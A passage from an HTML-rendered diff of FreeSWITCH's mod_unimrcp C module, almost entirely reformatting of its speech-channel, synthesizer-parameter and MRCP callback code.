-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) requesting codec LPCM/%d/%d\n", schannel->name, codec->payload_type, codec->sampling_rate);
</del><ins>+        apt_string_set(&codec->name, "LPCM");        /* "LPCM" is UniMRCP's name for L16 host byte ordered */
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) requesting codec LPCM/%d/%d\n", schannel->name, codec->payload_type,
+                                         codec->sampling_rate);
</ins><span class="cx">
</span><span class="cx">         if (schannel->type == SPEECH_CHANNEL_SYNTHESIZER) {
</span><span class="cx">                 termination = mrcp_application_sink_termination_create(schannel->unimrcp_session, &schannel->application->audio_stream_vtable, codec, schannel);
</span><span class="cx">         } else {
</span><span class="cx">                 termination = mrcp_application_source_termination_create(schannel->unimrcp_session, &schannel->application->audio_stream_vtable, codec, schannel);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return termination;
</span><span class="cx"> }
</span><span class="cx"> #endif
</span><span class="lines">@@ -908,7 +922,7 @@
</span><span class="cx">         mrcp_resource_type_e resource_type;
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(schannel->mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* make sure we can open channel */
</span><span class="cx">         if (schannel->state != SPEECH_CHANNEL_CLOSED) {
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -918,13 +932,13 @@
</span><span class="cx">         schannel->profile = profile;
</span><span class="cx">
</span><span class="cx">         /* create MRCP session */
</span><del>-        if ((schannel->unimrcp_session = mrcp_application_session_create(schannel->application->app, profile->name, schannel)) == NULL) {        
</del><ins>+        if ((schannel->unimrcp_session = mrcp_application_session_create(schannel->application->app, profile->name, schannel)) == NULL) {
</ins><span class="cx">                 /* profile doesn't exist? */
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) Unable to create session with %s\n", schannel->name, profile->name);
</span><span class="cx">                 status = SWITCH_STATUS_RESTART;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* create audio termination and add to channel */
</span><span class="cx">         if ((termination = speech_channel_create_mpf_termination(schannel)) == NULL) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) Unable to create termination with %s\n", schannel->name, profile->name);
</span><span class="lines">@@ -960,14 +974,13 @@
</span><span class="cx">         }
</span><span class="cx">         if (schannel->state == SPEECH_CHANNEL_READY) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) channel is ready\n", schannel->name);
</span><del>-        }
-        else if (schannel->state == SPEECH_CHANNEL_CLOSED) {
</del><ins>+        } else if (schannel->state == SPEECH_CHANNEL_CLOSED) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) Timed out waiting for channel to be ready\n", schannel->name);
</span><span class="cx">                 /* can't retry */
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">         } else if (schannel->state == SPEECH_CHANNEL_ERROR) {
</span><span class="cx">                 /* Wait for session to be cleaned up */
</span><del>-                while(schannel->state == SPEECH_CHANNEL_ERROR) {
</del><ins>+                while (schannel->state == SPEECH_CHANNEL_ERROR) {
</ins><span class="cx">                         if (switch_thread_cond_timedwait(schannel->cond, schannel->mutex, SPEECH_CHANNEL_TIMEOUT_USEC) == SWITCH_STATUS_TIMEOUT) {
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="lines">@@ -981,7 +994,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         switch_mutex_unlock(schannel->mutex);
</span><span class="cx">         return status;
</span><span class="lines">@@ -1015,7 +1028,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /* set generic header fields (content-type) */
</span><del>-        if ((generic_header = (mrcp_generic_header_t *)mrcp_generic_header_prepare(mrcp_message)) == NULL) {        
</del><ins>+        if ((generic_header = (mrcp_generic_header_t *) mrcp_generic_header_prepare(mrcp_message)) == NULL) {
</ins><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="lines">@@ -1029,7 +1042,7 @@
</span><span class="cx">         mrcp_generic_header_property_add(mrcp_message, GENERIC_HEADER_CONTENT_TYPE);
</span><span class="cx">
</span><span class="cx">         /* set synthesizer header fields (voice, rate, etc.) */
</span><del>-        if ((synth_header = (mrcp_synth_header_t *)mrcp_resource_header_prepare(mrcp_message)) == NULL) {
</del><ins>+        if ((synth_header = (mrcp_synth_header_t *) mrcp_resource_header_prepare(mrcp_message)) == NULL) {
</ins><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="lines">@@ -1057,7 +1070,7 @@
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         switch_mutex_unlock(schannel->mutex);
</span><span class="cx">         return status;
</span><span class="lines">@@ -1072,7 +1085,8 @@
</span><span class="cx"> * @param synth_hdr the synthesizer headers to set
</span><span class="cx"> * @return SWITCH_STATUS_SUCCESS
</span><span class="cx"> */
</span><del>-static switch_status_t synth_channel_set_params(speech_channel_t *schannel, mrcp_message_t *msg, mrcp_generic_header_t *gen_hdr, mrcp_synth_header_t *synth_hdr)
</del><ins>+static switch_status_t synth_channel_set_params(speech_channel_t *schannel, mrcp_message_t *msg, mrcp_generic_header_t *gen_hdr,
+                                                                                                mrcp_synth_header_t *synth_hdr)
</ins><span class="cx"> {
</span><span class="cx">         /* loop through each param and add to synth header or vendor-specific-params */
</span><span class="cx">         switch_hash_index_t *hi = NULL;
</span><span class="lines">@@ -1081,10 +1095,10 @@
</span><span class="cx">                 const void *key;
</span><span class="cx">                 void *val;
</span><span class="cx">                 switch_hash_this(hi, &key, NULL, &val);
</span><del>-                param_name = (char *)key;
-                param_val = (char *)val;
</del><ins>+                param_name = (char *) key;
+                param_val = (char *) val;
</ins><span class="cx">                 if (!zstr(param_name) && !zstr(param_val)) {
</span><del>-                        unimrcp_param_id_t *id = (unimrcp_param_id_t *)switch_core_hash_find(schannel->application->param_id_map, param_name);
</del><ins>+                        unimrcp_param_id_t *id = (unimrcp_param_id_t *) switch_core_hash_find(schannel->application->param_id_map, param_name);
</ins><span class="cx">                         if (id) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) %s: %s\n", schannel->name, param_name, param_val);
</span><span class="cx">                                 synth_channel_set_header(schannel, id->id, param_val, msg, synth_hdr);
</span><span class="lines">@@ -1094,7 +1108,7 @@
</span><span class="cx">
</span><span class="cx">                                 /* this is probably a vendor-specific MRCP param */
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) (vendor-specific value) %s: %s\n", schannel->name, param_name, param_val);
</span><del>-                                apt_string_set(&apt_param_name, param_name); /* copy isn't necessary since apt_pair_array_append will do it */
</del><ins>+                                apt_string_set(&apt_param_name, param_name);        /* copy isn't necessary since apt_pair_array_append will do it */
</ins><span class="cx">                                 apt_string_set(&apt_param_val, param_val);
</span><span class="cx">                                 if (!gen_hdr->vendor_specific_params) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) creating vendor specific pair array\n", schannel->name);
</span><span class="lines">@@ -1104,7 +1118,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (gen_hdr->vendor_specific_params) {
</span><span class="cx">                 mrcp_generic_header_property_add(msg, GENERIC_HEADER_VENDOR_SPECIFIC_PARAMS);
</span><span class="cx">         }
</span><span class="lines">@@ -1139,27 +1153,27 @@
</span><span class="cx">                 mrcp_resource_header_property_add(msg, SYNTHESIZER_HEADER_VOICE_GENDER);
</span><span class="cx">                 break;
</span><span class="cx">
</span><del>-        case SYNTHESIZER_HEADER_VOICE_AGE: {
-                int age = atoi(val);
-                if (age > 0 && age < 1000) {
-                        synth_hdr->voice_param.age = age;
-                        mrcp_resource_header_property_add(msg, SYNTHESIZER_HEADER_VOICE_AGE);
-                } else {
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) ignoring invalid voice age, %s\n", schannel->name, val);
</del><ins>+        case SYNTHESIZER_HEADER_VOICE_AGE:{
+                        int age = atoi(val);
+                        if (age > 0 && age < 1000) {
+                                synth_hdr->voice_param.age = age;
+                                mrcp_resource_header_property_add(msg, SYNTHESIZER_HEADER_VOICE_AGE);
+                        } else {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) ignoring invalid voice age, %s\n", schannel->name, val);
+                        }
+                        break;
</ins><span class="cx">                 }
</span><del>-                break;
-        }
</del><span class="cx">
</span><del>-        case SYNTHESIZER_HEADER_VOICE_VARIANT: {
-                int variant = atoi(val);
-                if (variant > 0) {
-                        synth_hdr->voice_param.variant = variant;
-                        mrcp_resource_header_property_add(msg, SYNTHESIZER_HEADER_VOICE_VARIANT);
-                } else {
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) ignoring invalid voice variant, %s\n", schannel->name, val);
</del><ins>+        case SYNTHESIZER_HEADER_VOICE_VARIANT:{
+                        int variant = atoi(val);
+                        if (variant > 0) {
+                                synth_hdr->voice_param.variant = variant;
+                                mrcp_resource_header_property_add(msg, SYNTHESIZER_HEADER_VOICE_VARIANT);
+                        } else {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) ignoring invalid voice variant, %s\n", schannel->name, val);
+                        }
+                        break;
</ins><span class="cx">                 }
</span><del>-                break;
-        }
</del><span class="cx">
</span><span class="cx">         case SYNTHESIZER_HEADER_VOICE_NAME:
</span><span class="cx">                 apt_string_assign(&synth_hdr->voice_param.name, val, msg->pool);
</span><span class="lines">@@ -1174,10 +1188,10 @@
</span><span class="cx">         case SYNTHESIZER_HEADER_PROSODY_VOLUME:
</span><span class="cx">                 if (switch_isdigit(*val) || *val == '.') {
</span><span class="cx">                         synth_hdr->prosody_param.volume.type = PROSODY_VOLUME_TYPE_NUMERIC;
</span><del>-                        synth_hdr->prosody_param.volume.value.numeric = (float)atof(val);
</del><ins>+                        synth_hdr->prosody_param.volume.value.numeric = (float) atof(val);
</ins><span class="cx">                 } else if (*val == '+' || *val == '-') {
</span><span class="cx">                         synth_hdr->prosody_param.volume.type = PROSODY_VOLUME_TYPE_RELATIVE_CHANGE;
</span><del>-                        synth_hdr->prosody_param.volume.value.relative = (float)atof(val);
</del><ins>+                        synth_hdr->prosody_param.volume.value.relative = (float) atof(val);
</ins><span class="cx">                 } else if (!strcasecmp("silent", val)) {
</span><span class="cx">                         synth_hdr->prosody_param.volume.type = PROSODY_VOLUME_TYPE_LABEL;
</span><span class="cx">                         synth_hdr->prosody_param.volume.value.label = PROSODY_VOLUME_SILENT;
</span><span class="lines">@@ -1209,7 +1223,7 @@
</span><span class="cx">         case SYNTHESIZER_HEADER_PROSODY_RATE:
</span><span class="cx">                 if (switch_isdigit(*val) || *val == '.') {
</span><span class="cx">                         synth_hdr->prosody_param.rate.type = PROSODY_RATE_TYPE_RELATIVE_CHANGE;
</span><del>-                        synth_hdr->prosody_param.rate.value.relative = (float)atof(val);
</del><ins>+                        synth_hdr->prosody_param.rate.value.relative = (float) atof(val);
</ins><span class="cx">                 } else if (!strcasecmp("x-slow", val)) {
</span><span class="cx">                         synth_hdr->prosody_param.rate.type = PROSODY_RATE_TYPE_LABEL;
</span><span class="cx">                         synth_hdr->prosody_param.rate.value.label = PROSODY_RATE_XSLOW;
</span><span class="lines">@@ -1240,7 +1254,7 @@
</span><span class="cx">                 mrcp_resource_header_property_add(msg, SYNTHESIZER_HEADER_SPEECH_LANGUAGE);
</span><span class="cx">                 break;
</span><span class="cx">
</span><del>-        /* unsupported by this module */
</del><ins>+                /* unsupported by this module */
</ins><span class="cx">         case SYNTHESIZER_HEADER_JUMP_SIZE:
</span><span class="cx">         case SYNTHESIZER_HEADER_SPEAKER_PROFILE:
</span><span class="cx">         case SYNTHESIZER_HEADER_COMPLETION_CAUSE:
</span><span class="lines">@@ -1266,7 +1280,7 @@
</span><span class="cx"> *
</span><span class="cx"> * @param schannel the channel
</span><span class="cx"> * @return SWITCH_STATUS_SUCCESS if successful
</span><del>- */
</del><ins>+ */
</ins><span class="cx"> static switch_status_t speech_channel_stop(speech_channel_t *schannel)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -1279,7 +1293,7 @@
</span><span class="cx">                         method = SYNTHESIZER_STOP;
</span><span class="cx">                 } else {
</span><span class="cx">                         method = RECOGNIZER_STOP;
</span><del>-                }
</del><ins>+                }
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) Stopping %s\n", schannel->name, speech_channel_type_to_string(schannel->type));
</span><span class="cx">                 /* Send STOP to MRCP server */
</span><span class="cx">                 mrcp_message = mrcp_application_message_create(schannel->unimrcp_session, schannel->unimrcp_channel, method);
</span><span class="lines">@@ -1309,7 +1323,7 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) %s stopped\n", schannel->name, speech_channel_type_to_string(schannel->type));
</span><span class="cx">         }
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         switch_mutex_unlock(schannel->mutex);
</span><span class="cx">         return status;
</span><span class="lines">@@ -1323,9 +1337,11 @@
</span><span class="cx"> */
</span><span class="cx"> static const char *speech_channel_type_to_string(speech_channel_type_t type)
</span><span class="cx"> {
</span><del>-        switch(type) {
-                case SPEECH_CHANNEL_SYNTHESIZER: return "SYNTHESIZER";
-                case SPEECH_CHANNEL_RECOGNIZER: return "RECOGNIZER";
</del><ins>+        switch (type) {
+        case SPEECH_CHANNEL_SYNTHESIZER:
+                return "SYNTHESIZER";
+        case SPEECH_CHANNEL_RECOGNIZER:
+                return "RECOGNIZER";
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         return "UNKNOWN";
</span><span class="lines">@@ -1409,13 +1425,17 @@
</span><span class="cx"> * @param state the channel state
</span><span class="cx"> * @return string representation of the state
</span><span class="cx"> */
</span><del>-static const char *speech_channel_state_to_string(speech_channel_state_t state)
</del><ins>+static const char *speech_channel_state_to_string(speech_channel_state_t state)
</ins><span class="cx"> {
</span><del>-        switch(state) {
-                case SPEECH_CHANNEL_CLOSED: return "CLOSED";
-                case SPEECH_CHANNEL_READY: return "READY";
-                case SPEECH_CHANNEL_PROCESSING: return "PROCESSING";
-                case SPEECH_CHANNEL_ERROR: return "ERROR";
</del><ins>+        switch (state) {
+        case SPEECH_CHANNEL_CLOSED:
+                return "CLOSED";
+        case SPEECH_CHANNEL_READY:
+                return "READY";
+        case SPEECH_CHANNEL_PROCESSING:
+                return "PROCESSING";
+        case SPEECH_CHANNEL_ERROR:
+                return "ERROR";
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         return "UNKNOWN";
</span><span class="lines">@@ -1449,10 +1469,11 @@
</span><span class="cx"> {
</span><span class="cx">         if (schannel->state == SPEECH_CHANNEL_PROCESSING && state != SPEECH_CHANNEL_PROCESSING) {
</span><span class="cx">                 /* wake anyone waiting for audio data */
</span><del>-                audio_queue_clear(schannel->audio_queue);        
</del><ins>+                audio_queue_clear(schannel->audio_queue);
</ins><span class="cx">         }
</span><span class="cx">
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) %s ==> %s\n", schannel->name, speech_channel_state_to_string(schannel->state), speech_channel_state_to_string(state));
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) %s ==> %s\n", schannel->name, speech_channel_state_to_string(schannel->state),
+                                         speech_channel_state_to_string(state));
</ins><span class="cx">         schannel->state = state;
</span><span class="cx">         switch_thread_cond_signal(schannel->cond);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -1477,17 +1498,18 @@
</span><span class="cx">         profile_t *profile = NULL;
</span><span class="cx">         int speech_channel_number = get_next_speech_channel_number();
</span><span class="cx">         char name[200] = { 0 };
</span><del>-        
-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "speech_handle: name = %s, rate = %d, speed = %d, samples = %d, voice = %s, engine = %s, param = %s\n",
-                                                sh->name, sh->rate, sh->speed, sh->samples, sh->voice, sh->engine, sh->param);
</del><ins>+
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO,
+                                         "speech_handle: name = %s, rate = %d, speed = %d, samples = %d, voice = %s, engine = %s, param = %s\n", sh->name, sh->rate,
+                                         sh->speed, sh->samples, sh->voice, sh->engine, sh->param);
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "voice = %s, rate = %d\n", voice_name, rate);
</span><span class="cx">
</span><span class="cx">         /* It would be nice if FreeSWITCH let us know which session owns this handle, but it doesn't. So, lets
</span><del>-                make our own unique name */
</del><ins>+         make our own unique name */
</ins><span class="cx">         switch_snprintf(name, sizeof(name) - 1, "TTS-%d", speech_channel_number);
</span><span class="cx">         name[sizeof(name) - 1] = '\0';
</span><del>-        
-        if (speech_channel_create(&schannel, name, SPEECH_CHANNEL_SYNTHESIZER, &globals.synth, (uint16_t)rate, sh->memory_pool) != SWITCH_STATUS_SUCCESS) {
</del><ins>+
+        if (speech_channel_create(&schannel, name, SPEECH_CHANNEL_SYNTHESIZER, &globals.synth, (uint16_t) rate, sh->memory_pool) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="lines">@@ -1497,7 +1519,7 @@
</span><span class="cx">         if (zstr(profile_name)) {
</span><span class="cx">                 profile_name = globals.unimrcp_default_synth_profile;
</span><span class="cx">         }
</span><del>-        profile = (profile_t *)switch_core_hash_find(globals.profiles, profile_name);
</del><ins>+        profile = (profile_t *) switch_core_hash_find(globals.profiles, profile_name);
</ins><span class="cx">         if (!profile) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) Can't find profile, %s\n", name, profile_name);
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -1512,7 +1534,7 @@
</span><span class="cx">                 speech_channel_set_param(schannel, "Voice-Name", voice_name);
</span><span class="cx">         }
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -1527,7 +1549,7 @@
</span><span class="cx"> */
</span><span class="cx"> static switch_status_t synth_speech_close(switch_speech_handle_t *sh, switch_speech_flag_t *flags)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)sh->private_info;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) sh->private_info;
</ins><span class="cx">         speech_channel_stop(schannel);
</span><span class="cx">         speech_channel_destroy(schannel);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -1545,8 +1567,8 @@
</span><span class="cx"> static switch_status_t synth_speech_feed_tts(switch_speech_handle_t *sh, char *text, switch_speech_flag_t *flags)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)sh->private_info;
-        
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) sh->private_info;
+
</ins><span class="cx">         if (zstr(text)) {
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">         } else {
</span><span class="lines">@@ -1577,7 +1599,7 @@
</span><span class="cx"> #ifdef MOD_UNIMRCP_DEBUG_AUDIO_QUEUE
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) adding %ld bytes of padding\n", schannel->name, *datalen - bytes_read);
</span><span class="cx"> #endif
</span><del>-                        memset((uint8_t *)data + bytes_read, schannel->silence, *datalen - bytes_read);
</del><ins>+                        memset((uint8_t *) data + bytes_read, schannel->silence, *datalen - bytes_read);
</ins><span class="cx">                 }
</span><span class="cx">         } else {
</span><span class="cx">                 *datalen = 0;
</span><span class="lines">@@ -1598,7 +1620,7 @@
</span><span class="cx"> */
</span><span class="cx"> static void synth_speech_flush_tts(switch_speech_handle_t *sh)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)sh->private_info;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) sh->private_info;
</ins><span class="cx">         speech_channel_stop(schannel);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -1612,7 +1634,7 @@
</span><span class="cx"> */
</span><span class="cx"> static void synth_speech_text_param_tts(switch_speech_handle_t *sh, char *param, const char *val)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)sh->private_info;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) sh->private_info;
</ins><span class="cx">         speech_channel_set_param(schannel, param, val);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -1626,7 +1648,7 @@
</span><span class="cx"> */
</span><span class="cx"> static void synth_speech_numeric_param_tts(switch_speech_handle_t *sh, char *param, int val)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)sh->private_info;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) sh->private_info;
</ins><span class="cx">         char *val_str = switch_mprintf("%d", val);
</span><span class="cx">         speech_channel_set_param(schannel, param, val_str);
</span><span class="cx">         switch_safe_free(val_str);
</span><span class="lines">@@ -1642,7 +1664,7 @@
</span><span class="cx"> */
</span><span class="cx"> static void synth_speech_float_param_tts(switch_speech_handle_t *sh, char *param, double val)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)sh->private_info;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) sh->private_info;
</ins><span class="cx">         char *val_str = switch_mprintf("%f", val);
</span><span class="cx">         speech_channel_set_param(schannel, param, val_str);
</span><span class="cx">         switch_safe_free(val_str);
</span><span class="lines">@@ -1669,7 +1691,7 @@
</span><span class="cx"> */
</span><span class="cx"> static apt_bool_t speech_on_session_terminate(mrcp_application_t *application, mrcp_session_t *session, mrcp_sig_status_code_e status)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)mrcp_application_session_object_get(session);
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) mrcp_application_session_object_get(session);
</ins><span class="cx">         switch_event_t *event = NULL;
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) Destroying MRCP session\n", schannel->name);
</span><span class="cx">         mrcp_application_session_destroy(session);
</span><span class="lines">@@ -1702,10 +1724,11 @@
</span><span class="cx"> * @param status the result of the channel add request
</span><span class="cx"> * @return TRUE
</span><span class="cx"> */
</span><del>-static apt_bool_t speech_on_channel_add(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_sig_status_code_e status)
</del><ins>+static apt_bool_t speech_on_channel_add(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel,
+                                                                                mrcp_sig_status_code_e status)
</ins><span class="cx"> {
</span><span class="cx">         switch_event_t *event = NULL;
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)mrcp_application_channel_object_get(channel);
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) mrcp_application_channel_object_get(channel);
</ins><span class="cx">
</span><span class="cx">         /* check status */
</span><span class="cx">         if (session && schannel && status == MRCP_SIG_STATUS_CODE_SUCCESS) {
</span><span class="lines">@@ -1714,7 +1737,7 @@
</span><span class="cx">                 const mpf_codec_descriptor_t *descriptor;
</span><span class="cx">                 /* what sample rate did we negotiate? */
</span><span class="cx">                 if (schannel->type == SPEECH_CHANNEL_SYNTHESIZER) {
</span><del>-                         descriptor = mrcp_application_sink_descriptor_get(channel);
</del><ins>+                        descriptor = mrcp_application_sink_descriptor_get(channel);
</ins><span class="cx">                 } else {
</span><span class="cx">                         descriptor = mrcp_application_source_descriptor_get(channel);
</span><span class="cx">                 }
</span><span class="lines">@@ -1722,10 +1745,12 @@
</span><span class="cx">                 if (descriptor->name.length) {
</span><span class="cx">                         strncpy(codec_name, descriptor->name.buf, sizeof(codec_name));
</span><span class="cx">                 }
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) %s channel is ready, codec = %s, sample rate = %d\n", schannel->name, speech_channel_type_to_string(schannel->type), codec_name, schannel->rate);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) %s channel is ready, codec = %s, sample rate = %d\n", schannel->name,
+                                                 speech_channel_type_to_string(schannel->type), codec_name, schannel->rate);
</ins><span class="cx"> #else
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "(%s) %s channel is ready\n", schannel->name, speech_channel_type_to_string(schannel->type));
-#endif        
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "(%s) %s channel is ready\n", schannel->name,
+                                                 speech_channel_type_to_string(schannel->type));
+#endif
</ins><span class="cx">                 speech_channel_set_state(schannel, SPEECH_CHANNEL_READY);
</span><span class="cx">                 /* notify of channel open */
</span><span class="cx">                 if (globals.enable_profile_events && switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, MY_EVENT_PROFILE_OPEN) == SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -1740,7 +1765,8 @@
</span><span class="cx">                 schannel->channel_opened = 1;
</span><span class="cx">         } else {
</span><span class="cx">                 if (schannel) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) %s channel error!\n", schannel->name, speech_channel_type_to_string(schannel->type));
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) %s channel error!\n", schannel->name,
+                                                         speech_channel_type_to_string(schannel->type));
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(unknown) channel error!\n");
</span><span class="cx">                 }
</span><span class="lines">@@ -1763,9 +1789,10 @@
</span><span class="cx"> * @param status the result of the channel remove request
</span><span class="cx"> * @return TRUE
</span><span class="cx"> */
</span><del>-static apt_bool_t speech_on_channel_remove(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_sig_status_code_e status)
</del><ins>+static apt_bool_t speech_on_channel_remove(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel,
+                                                                                 mrcp_sig_status_code_e status)
</ins><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)mrcp_application_channel_object_get(channel);
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) mrcp_application_channel_object_get(channel);
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "(%s) %s channel is removed\n", schannel->name, speech_channel_type_to_string(schannel->type));
</span><span class="cx">         schannel->unimrcp_channel = NULL;
</span><span class="cx">
</span><span class="lines">@@ -1788,7 +1815,7 @@
</span><span class="cx"> */
</span><span class="cx"> static apt_bool_t synth_on_message_receive(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_message_t *message)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)mrcp_application_channel_object_get(channel);
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) mrcp_application_channel_object_get(channel);
</ins><span class="cx">         if (message->start_line.message_type == MRCP_MESSAGE_TYPE_RESPONSE) {
</span><span class="cx">                 /* received MRCP response */
</span><span class="cx">                 if (message->start_line.method_id == SYNTHESIZER_SPEAK) {
</span><span class="lines">@@ -1799,7 +1826,8 @@
</span><span class="cx">                                 speech_channel_set_state(schannel, SPEECH_CHANNEL_PROCESSING);
</span><span class="cx">                         } else {
</span><span class="cx">                                 /* received unexpected request_state */
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected SPEAK response, request_state = %d\n", schannel->name, message->start_line.request_state);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected SPEAK response, request_state = %d\n", schannel->name,
+                                                                 message->start_line.request_state);
</ins><span class="cx">                                 speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
</span><span class="cx">                         }
</span><span class="cx">                 } else if (message->start_line.method_id == SYNTHESIZER_STOP) {
</span><span class="lines">@@ -1810,12 +1838,14 @@
</span><span class="cx">                                 speech_channel_set_state(schannel, SPEECH_CHANNEL_READY);
</span><span class="cx">                         } else {
</span><span class="cx">                                 /* received unexpected request state */
